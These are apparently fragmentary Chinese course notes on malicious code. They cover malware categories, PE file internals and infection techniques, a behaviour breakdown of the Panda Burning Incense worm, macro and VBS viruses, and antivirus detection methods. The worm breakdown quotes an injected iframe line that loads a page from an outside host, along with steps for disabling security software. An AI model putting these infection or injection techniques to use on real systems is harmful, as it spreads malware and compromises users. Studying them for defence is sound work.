赞
踩
可以独立运行,不需要用户干预,并能把自身的一个包含所有功能的版本传播到另外的计算机上。
如:红色代码,SQL蠕虫王、震网
按照传播路径可分为:邮件蠕虫、即时消息蠕虫、U盘蠕虫、漏洞利用蠕虫和其他蠕虫5类。
是一段代码,能把自身加到其他程序包括操作系统上;它不能独立运行,需要由它的宿主程序运行来激活。
如:CIH、熊猫烧香、爱虫
如:冰河、网络神偷、灰鸽子、Gh0st、上兴……
如:Bits,WinEggDrop,Tini......
如:Rootkit,Hkdef,Byshell
中华人民共和国刑法:
最高人民法院、最高人民检察院关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释
提供侵入、非法控制计算机信息系统的程宝,工具罪:
如:windows下的.exe,.dll,.sys,.scr。DOS系统下的MZ格式。
DOS Header和 DOS Stub:定位PE文件头开始位置,也可用于PE文件合法性检测之一
NT header:由字串(Signature)(PE标记,可以此识别给定文件是否为有效PE文件)、映像文件头(File Header)和可选文件头(Optional Header)三部分组成。
AddressOfEntryPoint:包含在可选文件头中,是PE装载器准备运行的PE文件的第一条指令的RVA(病毒感染中通用关键字段)。
ImageBase:PE文件的优先装载地址。比如,如果该值是400000h,PE装载器将尝试把文件装到虚拟地址空间的400000h处。RVA(相对虚拟地址)就是相对内存中ImageBase的偏移位置。
alignment:对齐粒度。比喻:桶的容量为100升,现有367升水,请问需要使用多少个桶?
对齐粒度通常由PE文件格式规范中定义的两个参数确定:文件对齐粒度和内存对齐粒度。
Data Directory:数据目录
Sections Tables:节表,紧挨着 PE header 的一个结构数组。PE文件中每一个节均对应一个节表,节表内容包含:节名,节在文件和内存中的开始地址,长度,节属性等。
Sections Characteristics:节属性,包含在节表中。
记住三个特殊值:0x20000000--这个块是可执行的。0x40000000-- 这个块是可读的 0x80000000-- 这个块是可写的
Section 节:可执行文件的核心部分,跟在节表之后,一般PE文件都有几个“节”,比如代码节,数据节,引入函数节,资源节,引出函数节,重定位节。
定位IDT:PE可选文件头的DataDirectory16项的第二项指向IDT输入表。
- typedef struct _IMAGE_IMPORT_DESCRIPTOR {
- DWORD OriginalFirstThunk;
- DWORD TimeDateStamp;
- DWORD ForwarderChain;
- DWORD Name;
- DWORD FirstThunk;
- } IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
OriginalFirstThunk:指向一个 IMAGE_THUNK_DATA 结构数组,该数组名字叫Import Name (Lookup) Table包含了原始的函数名和相应的导入地址表(IAT)条目。每个条目包含一个函数名和该函数在DLL中的地址。
TimeDateStamp:时间戳,表示DLL文件的创建日期或版本信息。如果这个字段为0,表示没有绑定信息。在老版的绑定中,这个字段引用API的第一个forwarder chain(传递器链表)。
ForwarderChain:指向一个 IMAGE_THUNK_DATA 结构数组,该数组包含DLL中的向前链接(forwarder chain)。这些条目将包含指向其他DLL中的函数的指针。如果这个字段为0xFFFFFFFF,表示没有向前链接。
Name:指向一个以NULL结尾的字符串,该字符串包含了被导入的DLL的名称。这个字段是一个相对虚拟地址(RVA),它指向DLL文件的名称。
FirstThunk:指向一个 IMAGE_THUNK_DATA 结构数组,该数组名字叫Imort Address Table包含了与 OriginalFirstThunk 字段中对应的IAT条目相同的函数名和相应的IAT条目。这个字段通常用于实现延迟绑定(lazy binding),其中函数在首次调用时才解析其地址。
在内存中的引入表:
在运行时的引入目录表(IDT):
定位EDT:PE可选文件头的DataDirectory16项的第一项指向EDT输入表。
导出目录表结构:
导出地址表(Export Address Table):包含了每个导出函数的实际地址。
导出名字指针表(Export Pointer Table):包含了所有导出函数的名称,按照函数序号的顺序排列。
导出序号表(Export Ordinal Table):包含了所有导出函数的序号。每个整数都对应一个函数名称在名称指针表中的位置。
为什么需要导出序号表?
因为导出函数名字和导出地址表的地址不是一一对应的关系,一个函数可能有多个名字;某些函数也可能没有名字,仅通过序号列出。
定位dll中目标函数地址
首先从AddressOfNames指向的指针数组中找到“目标函数名”字符串,并记下该数组序号i
然后从AddressofNameOrinals指向的数组中,定位第i项成员,得到一个Ordinal: y。y为目标函数地址在AddressofFunction中的索引号。
从AddressofFunction指向的数组中定位第y项,获得目标函数的RVA函数地址
定位函数导出地址
例子:GetProcAdress()寻址过程
几个结构:
目录是IMAGE_RESOURCE_DIRECTORY结构。
目录项是IMAGE_RESOURCE_DIRECTORY_ENTRY 结构
数据项是IMAGE_RESOURCE_DATA_ENTRY结构
定位资源:
资源一般使用树来保存,通常包含3层,最高层是类型其次是名字,最后是语言。
在资源节开始的位置,首先是一个IMAGE RESOURCE DIRECTORY结构,后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组,这个数组的每个元素代表的资源类型不同;
通过每个元素,可以找到第二层另一个IMAGE RESOURCEDIRECTORY,后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组这一层的数组的每个元素代表的资源名字不同;
然后可以找到第三层的每个IMAGE RESOURCE DIRECTORY后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组。这一层的数组的每个元素代表的资源语言不同;
最后通过每个IMAGE RESOURCE DIRECTORY ENTRY可以找到每个IMAGE RESOURCE DATA ENTRY。通过每个IMAGE RESOURCE DATA ENTRY,就可以找到每个真正的资源。
应用:
图标修改,汉化......
如果在首选位置加载映像文件,就不需要进行定位。否则需要进行重定位:
为了对地址进行重定位,操作系统加载程序会计算出首选的基地址(PE头的ImageBase字段)和实际加载映像文件的基地址之间的差异 (delta)。
接着根据重定位的类型,将这个delta应用到地址上
感染思路:
优点:被感染后的程序主体依然是目标程序,不影响目标程序图标,隐蔽性很好。
缺点:对病毒代码的编写要求较高,通常是汇编语言编写,难以成功感染自校验程序
关键技术:
重定位(病毒代码目标寄生位置不固定),API函数自获取(需要使用API函数,但无引入函数节支撑),目标程序遍历搜索(全盘查找,或者部分盘盘符查找),感染模块(病毒代码插入位置选择与写入,控制权返回机制)
如何获取kernel32.dll中的API函数地址?
首先,获得kernel32.dll的模块加载基地址,然后,通过kernel32.dll的引出目录表结构定位具体函数的函数地址。
如何获得kernel32.dll的模块加载基地址?
1. 暴力搜索法:参考获取kernel32.dll基址
2. 利用SEH链:遍历SEH链,在链中查找prev成员等于0xFFFFFFFF 的EXCEPTION_REGISTER结构,该结构中handler值指向系统异常处理例程,xp系统中位于KERNEL32模块中。根据这一特性,然后进行向前搜索就可以查找KERNEL32.DLL在内存中的基地址。
3. 通过PEB数据结构: 参考获取kernel32.dll基址
4. TOP Stack:只适用于Windows NT操作系统,但这种方法的代码量是最小的,只有25B。
每个执行的线程都有它自己的TEB(线程环境块),该块中存储着线程的栈顶的地址,从该地址向下偏移0X1C处的地址肯定位于Kernel32dIl中。则可以通过该地址向低地址以64KB为单位来查找Kernel32dll的基地址。
通常以PE文件格式的文件(如EXE、SCR、DLL等作为感染目标。
在对目标进行搜索时,通常调用两个API函数FindFirstFile和FindNextFile
遍历算法:递归或者非递归
感染的关键:
感染文件的基本步骤:
优点:编写简单、效率高。可感染自校验程序。
缺点:被感染后的程序主体是病毒程序,易被发现(程序叠加+释放执行),程序图标问题。
如何再次获得控制权?
常见的自启动方式:在系统内部修改注册表的键值、系统中的特定位置,配置文件,特定的文件
其他启动方式:利用系统自动播放机制如Autorun.inf,或在其他可执行文件嵌入少量触发代码,DLL劫持(替换已有DLL文件)
系统病毒的传播方式:
自启动方式:
病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项->启动
拷贝自身到所有驱动器根目录,命名为Setup.exe,在驱动器根目录生成autorun.inf文件,并把这两个文件的属性设置为隐藏、只读、系统。 ->启动
感染与传播方式:
感染EXE文件,病毒会搜索并感染系统中特定目录外的所有EXE/SCR/PIF/COM文件,将自身捆绑在被感染程序前端,并在尾部添加标记信息WhBoy原文件名]exe.原文件大小].->感染
查找系统以html和asp为后缀的文件,在里面插入<iframesrc=http://www.ac85.cn/66/index.htm width=”0height=”0”></iframe> ->感染
通过弱口令传播:访问局域网共享文件夹将病毒复制到该目录并改名GameSetup.exe ->传播
自我隐藏:
禁用安全软件,病毒会尝试关闭安全软件 (杀毒软件、防火墙、安全工具)的窗口、进程、删除注册表中安全软件的启动项以及禁用安全软件的服务等操作;->破坏和隐藏
自动恢复“显示所有文件和文件夹”选项隐藏功能->隐藏
删除系统的隐藏共享;->隐藏>
破坏功能:
同时开另外一个线程连接某网站,下载DDOS程序进行恶意攻击 ->破坏,附加攻击行为
删除扩展名为gho的文件->破坏,延长存活时间;
在Word和其他微软Office系列办公软件中,宏分为两种:
内建宏:位于文档中,对该文档有效,如文档打开 (AutoOpen)、保存、打印、关闭等。
全局宏:位于office模板normal.dot,为所有文档所共用,如打开Word程序(AutoExec)。
宏病毒的传播路线:
单机:单个office文档->office文档模板->多个office文档
网络:电子邮件居多
宏病毒的感染方案:
让宏在 数据文档 和 文档模板 之间互相感染。
如何感染:
VBScript可以通过Windows脚本宿主(WindowsScripting Host,WSH)调用COM,因而可以使用Windows操作系统中可以被使用的程序库。
WSH的作用:映射网络驱动器,检索及修改环境变量,处理注册表项,对文件系统进行操作等工作,管理服务、账号,创建登陆脚本,管理活动目录......
感染方式
VBS脚本病毒是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序中的。
病毒如何获得控制权
对抗反病毒软件的技巧
自加密、灵活运用Execute函数、改变某些对象的声明方法、直接关闭反病毒软件
常见的VBS变形技术
VBS病毒生产机,爱虫病毒,
特点:欺骗性,隐藏性,非授权性,交互性
优点:攻击者无需公网(外部)IP地址。木马样本不会泄露攻击者IP地址
缺点:可能被防火墙阻挡,被攻击者必须具备公网(外部)IP地址,定位被攻击者相对困难
优点:通过防火墙相对容易,攻击目标随时上线,随时控制,可以控制局域网内的(内网)目标
缺点:样本会暴露控制服务器信息(域名或IP),攻击者通常应当具有外部IP
优点:可绕过防火墙,自动连接上线,不易被发现(代理)
缺点:肉鸡的稳定性需要保障
特点:隐蔽性,持续性,主动安装,特殊权限
检测对象包括:主板BIOS,引导扇区,文还系统中可能带毒的文件,内存空间等
恶意代码特征值是反病毒软件鉴别特定计算机病毒的一种标志。通常是从病毒样本中提取的一段或多段字符串或二进制串。
具体思路:获取样本->提取样本特征->更新病毒库->查杀病毒
特征值的提取选择:
特定字串:从计算机病毒体内提取、为病毒所特有的特征串。如特定提示信息,特定签名信息等。如大麻病毒的提示为:“Your PC is now stoned”等。
感染标记:病毒为避免重复感染而使用的感染标记。 如黑色星期五的“suMs DOS”。
提取方法:
人工提取:反病毒工程师对病毒样本进行分析后,人工确定病毒特征
自动提取:通过软件系统自动提取特定范围内特定长度具有一定特征的数据。处理不利则可能被别有用心者利用,形成误杀。
优点:检测速度快、误报率低等优点,为广大反病毒厂 商所采用,技术也比较成熟。
缺点:只能检测已知恶意代码。容易被免杀绕过。
原理:在文件使用/系统启动过程中,检查检 测对象的实际校验和与预期是否一致,因而可以发现文 件/引导区是否感染。
使用方式:
校验和检测对象:
优点:方法简单,能发现未知病毒,目标文件的细微变化也能发现
缺点:必须预先记录正常文件的校验和,误报率高,不能识别病毒特征,效率低
可疑的程序代码指令序列:
系统调用DLL:
启发式扫描步骤:
优点:能够发现未知病毒
缺点:误报率高
解决方案:启发式扫描技术+传统扫描技术,可提高病毒检测软件的检测率,同时有效降低了总的误报率。
为什么需要虚拟机检测技术?
加密、多态、变形病毒的出,加壳技术
检测原理:
在反病毒系统中设置的一种程序机制,它能在内存中模拟一个小的封闭程序执行环境,所有待查文件都以解释方式在其中被虚拟执行。 通常虚拟执行一小部分代码即可
优点:有效处理加密类病毒。
虚拟机检测技术+特征值扫描,准确率更高。
虚拟机技术+启发式扫描,有利于检测未知变形病毒
缺点:病毒可以检测自身是否处于虚拟化环境中进而改变行为特征
检测原理:
动态监视所运行程序调用各种应用编程接口(API)的动作,自动分析程序动作之间的逻辑关系,自动判定程序行为的合法性。
监控应用程序的敏感行为,并向用户发出提示,供用户选择。
常见可疑行为:
对可执行文件进行写操作,写磁盘引导区,病毒程序与宿主程序的切换,写注册表启动键值,远程线程插入,安装、加载驱动,键盘钩子,自我隐藏,下载并执行等..
优点:可发现未知恶意软件、可准确地发现未知恶意软件的恶意行为。
缺点:可能误报警、不能识别恶意软件名称,以及在实现时有一定难度。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。